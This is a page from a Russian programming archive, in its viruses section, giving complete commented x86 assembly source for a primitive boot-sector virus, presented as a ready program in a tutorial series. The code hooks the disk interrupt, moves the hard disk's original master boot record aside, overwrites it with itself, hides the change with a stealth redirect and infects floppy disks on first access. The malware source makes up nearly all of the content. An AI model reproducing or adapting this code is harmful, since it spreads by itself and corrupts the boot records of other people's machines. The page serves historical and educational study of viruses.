Большой архив статей, книг, документации по программированию, вебдизайну, компьютерной графике, сетям, операционным системам и многому другому
 
<Добавить в Избранное>    <Сделать стартовой>    <Реклама на сайте>    <Контакты>
  Главная Документация Программы Обои   Экспорт RSS E-Books
 
 

   Безопасность -> Вирусы -> "Вирусы", "Черви", "Драконы" и резиденты на службе прогресса.


     Вот готовая программа:

      -----------------------------------------------------------¬
      ¦                         пример 23                        ¦:
      L-----------------------------------------------------------

.286p
TITLE   Это - COM. программа N23 -- примитивный бутовый вирус
ASSUME        CS:CodeSegment
;-------------------------------------------------------------------------
CodeSegment   SEGMENT PARA
              ORG(100h)
Start:
MainProcedure PROC NEAR
              ;
              ;                                   ;внимание! -- при имплан-
              ;                                   ;  тации в область MBR
              ;                                   ;  сектор должен заканчиваться
              ;                                   ;  сигнфтурой  55AAh
              ;
Code_begining:CLI                                 ;¬
              XOR   AX,AX                         ;+SS:SP = 0000:7C00
              MOV   SS,AX                         ;¦   перед областью
              MOV   SP,7C00h                      ;-   загруженного кода
              MOV   SI,SP                         ;SI = 7C00
              MOV   DS,AX                         ;DS = 0
              STI                                 ;AX = 0
              ;
              MOV   BX,word ptr DS:[0413h]        ;¬количество свободной
              DEC   BX                            ;+памяти уменшилось на 1 Кб
              MOV   word ptr DS:[0413h],BX        ;-
              SHL   BX,06                         ;TES = сегмент начала свобод-
              MOV   ES,BX                         ;-     ной памяти
              XOR   DI,DI                         ;DI = 0
              MOV   CX,0100h                      ;¬
              CLD                                 ;+пересылаем данный сектор
              REPNE MOVSW                         ;-     в освобожден. область
              ;
              PUSH  ES                            ;¬
              MOV   BX,Continue_work-Code_begining;+продолжаем выполнение уже
              PUSH  BX                            ;¦     в пересланном коде
              RETF                                ;-
              ;
              ;
Continue_work:MOV   DX,0080h                      ;¬ side 0   disk 1
              MOV   CX,0001h                      ;¦ cyl  0   sect 7
              MOV   BX,7C00h                      ;¦
              PUSH  DS                            ;¦читаем  MBR  винчестера
              POP   ES                            ;+(001) в буфер по адресу
              MOV   AX,0201h                      ;¦       0000:7C00h
              INT   13h                           ;-
              ;
              MOV   AX,word ptr DS:[4Ch]          ;сохраняем вектор 21h
              MOV   word ptr CS:[jmp_old_int13-Code_begining+1],AX
              MOV   AX,word ptr DS:[4Eh]
              MOV   word ptr CS:[jmp_old_int13-Code_begining+3],AX
              CLI
              MOV   word ptr DS:[4Ch],Resident13_begining-Code_begining
              MOV   word ptr DS:[4Eh],CS          ;перехватываем вектор 21h
              STI
              ;
              ;
              CMP   word ptr ES:[7C0Fh],01E8Bh    ;¬
              JNE   treat_it                      ;+проверяем, есть ли
              CMP   word ptr ES:[7C18h],0E3C1h    ;¦в MBR сигнатура
              JE    no_treat_it                   ;-

treat_it:     MOV   CX,0007h                      ;¬
              MOV   AX,0301h                      ;+перемещаем оригинальн. MBR
              INT   13h                           ;-
              ;
              PUSH  CS                            ;¬
              POP   ES                            ;¦
              XOR   BX,BX                         ;+замещаем оригинальн. MBR
              MOV   CX,0001h                      ;¦собственным кодом
              MOV   AX,0301h                      ;¦
              INT   13h                           ;-

no_treat_it:  DB    0EAh,00,7Ch,00,00             ;JMP far 0000:7C00h
              ;
              ;
Resident13_begining:
              CMP   DX,0080h                      ;¬
              JNE   no_stealth                    ;¦
              CMP   CX,0001h                      ;+включение
              JNE   no_stealth                    ;¦stealth-режима
              CMP   AH,02h                        ;¦
              JNE   no_stealth                    ;¦
              MOV   CX,0007h                      ;¦
              JMP   short jmp_old_int13           ;-
              ;
no_stealth:   CMP   DL,01h                        ;проверка работы с
              JA    jmp_old_int13                 ;  дисководами
              PUSH  AX
              PUSH  BX
              PUSH  CX
              PUSH  DX
              PUSH  ES

              XOR   AX,AX                         ;проверяем, включен ли
              MOV   ES,AX                         ;  уже мотор дисковода
              TEST  byte ptr ES:[043Fh],1         ;
              JNZ   motor_started                 ;

              XOR   BX,BX                         ;¬
              PUSH  CS                            ;+обработка дискеты
              POP   ES                            ;¦
              MOV   DH,00                         ;¦
              MOV   CX,0001h                      ;¦
              MOV   AX,0301h                      ;¦
              PUSHF                               ;¦
              PUSH  CS                            ;-
              CALL  jmp_old_int13

motor_started:POP   ES
              POP   DX
              POP   CX
              POP   BX
              POP   AX
jmp_old_int13:                                    ;¬возврат управления DOS-у
              DB    0EAh,00,00,00,00              ;-JMP far ????:????h
              ;
              ;
Resident_ending:
              ;
              ;
              ;
MainProcedure ENDP
              ;
CodeSegment   ENDS
              END Start


     Для некоторой оптимизации предусмотрено вот что:  резидент заражает дис-
кету только если  мотор  дисковода еще не включен  (самое  первое обращение к
дискете).
Оглавление
 

 
Интересное в сети
 
10 новых программ
CodeLobster PHP Edition 3.7.2
WinToFlash 0.7.0008
Free Video to Flash Converter 4.7.24
Total Commander v7.55
aTunes 2.0.1
Process Explorer v12.04
Backup42 v3.0
Predator 2.0.1
FastStone Image Viewer 4.1
Process Lasso 3.70.4
FastStone Image Viewer 4.0
Xion Audio Player 1.0.125
Notepad GNU v.2.2.8.7.7
K-Lite Codec Pack 5.3.0 Full


Наши сервисы
Рассылка новостей. Подпишитесь на рассылку сейчас и вы всегда будете в курсе последних событий в мире информационных технологий.
Новостные информеры. Поставьте наши информеры к себе и у вас на сайте появится дополнительный постоянно обновляемый раздел.
Добавление статей. Если вы являетесь автором статьи или обзора на тему ИТ присылайте материал нам, мы с удовольствием опубликуем его у себя на сайте.
Реклама на сайте. Размещая рекламу у нас, вы получите новых посетителей, которые могут стать вашими клиентами.
 
Это интересно
 

Copyright © CompDoc.Ru
При цитировании и перепечатке ссылка на www.compdoc.ru обязательна. Карта сайта.